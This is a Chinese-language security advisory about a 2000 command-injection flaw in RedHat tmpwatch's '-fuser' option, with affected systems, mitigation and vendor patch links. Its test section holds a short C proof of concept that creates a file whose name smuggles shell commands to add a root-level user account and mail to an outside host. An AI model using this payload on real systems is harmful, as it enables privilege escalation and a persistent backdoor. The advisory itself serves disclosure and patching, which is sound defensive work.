首页 -> 安全研究

安全研究

安全漏洞
RedHat tmpwatch 执行任意命令漏洞

发布日期:2000-10-16
更新日期:2000-10-16

受影响系统:

   RedHat Linux 7.0
   RedHat Linux 6.2
不受影响系统:

   Connectiva Linux 5.1
   Connectiva Linux 5.0
   Connectiva Linux 4.x
   S.u.S.E. Linux 7.0
   S.u.S.E. Linux 6.x
   S.u.S.E. Linux 5.x
   S.u.S.E. Linux 4.x
描述:

在 Unix 系统中,tmpwatch 工具用来自动删除临时文件,这个工具有一个
漏洞。tmpwatch 工具参数中有一个可选项,叫 '-fuser',这个选项将调
用fuser程序来进行处理,在调用库函数system() 时,tmpwatch对参数的
处理不恰当。如果攻击者创建一个文件,用带有shell元字符的字符串构造
这个文件的文件名,然后当其他用户(通常是root)使用' -fuser'选项来
运行时,就可能以该用户的身份执行任意命令。

<* 来源:X-Force (xforce@iss.net) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>

int main()
{
   FILE *f;
   char filename[100] =
     ";useradd -u 0 -g 0 haks0r;mail haks0r@somehost.com<blablabla";

   if((f = fopen(filename, "a")) == 0) {
      perror("Could not create file");
      exit(1);
   }

   close(f);
}


建议:

临时解决办法:

  NSFOCUS建议您在没有升级版本或打补丁消除漏洞前,暂时不用 tmpwatch
  的 '-fuser' 选项。

厂商补丁:

[ RedHat ] :
  Red Hat 已经在下面的 rpm 发行包中消除了这个漏洞:

  对 Red Hat Linux 6.2:

  alpha:
  ftp://updates.redhat.com/6.2/alpha/tmpwatch-2.6.2-1.6.2.alpha.rpm

  sparc:
  ftp://updates.redhat.com/6.2/sparc/tmpwatch-2.6.2-1.6.2.sparc.rpm

  i386:
  ftp://updates.redhat.com/6.2/i386/tmpwatch-2.6.2-1.6.2.i386.rpm

  sources:
  ftp://updates.redhat.com/6.2/SRPMS/tmpwatch-2.6.2-1.6.2.src.rpm

  对 Red Hat Linux 7.0:

  i386:
  ftp://updates.redhat.com/7.0/i386/tmpwatch-2.6.2-1.7.i386.rpm

  sources:
  ftp://updates.redhat.com/7.0/SRPMS/tmpwatch-2.6.2-1.7.src.rpm


  [ Immunix ]:

  Immunix OS 6.2 (StackGuarded versions of the RedHat packages.)

  http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/tmpwatch-2.6.2-1.6.2_StackGuard.i386.rpm
  
  http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/tmpwatch-2.6.2-1.6.2_StackGuard.src.rpm

  [ Trustix ]:

  所有的 TSL 用户应该升级到:

  http://www.trustix.net/download/Trustix/updates/1.1/RPMS/tmpwatch-2.6.2-1tr.i586.rpm
  (MD5sum: 3200b3812bfe6e87f326e240fed0686a)



浏览次数:5947
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障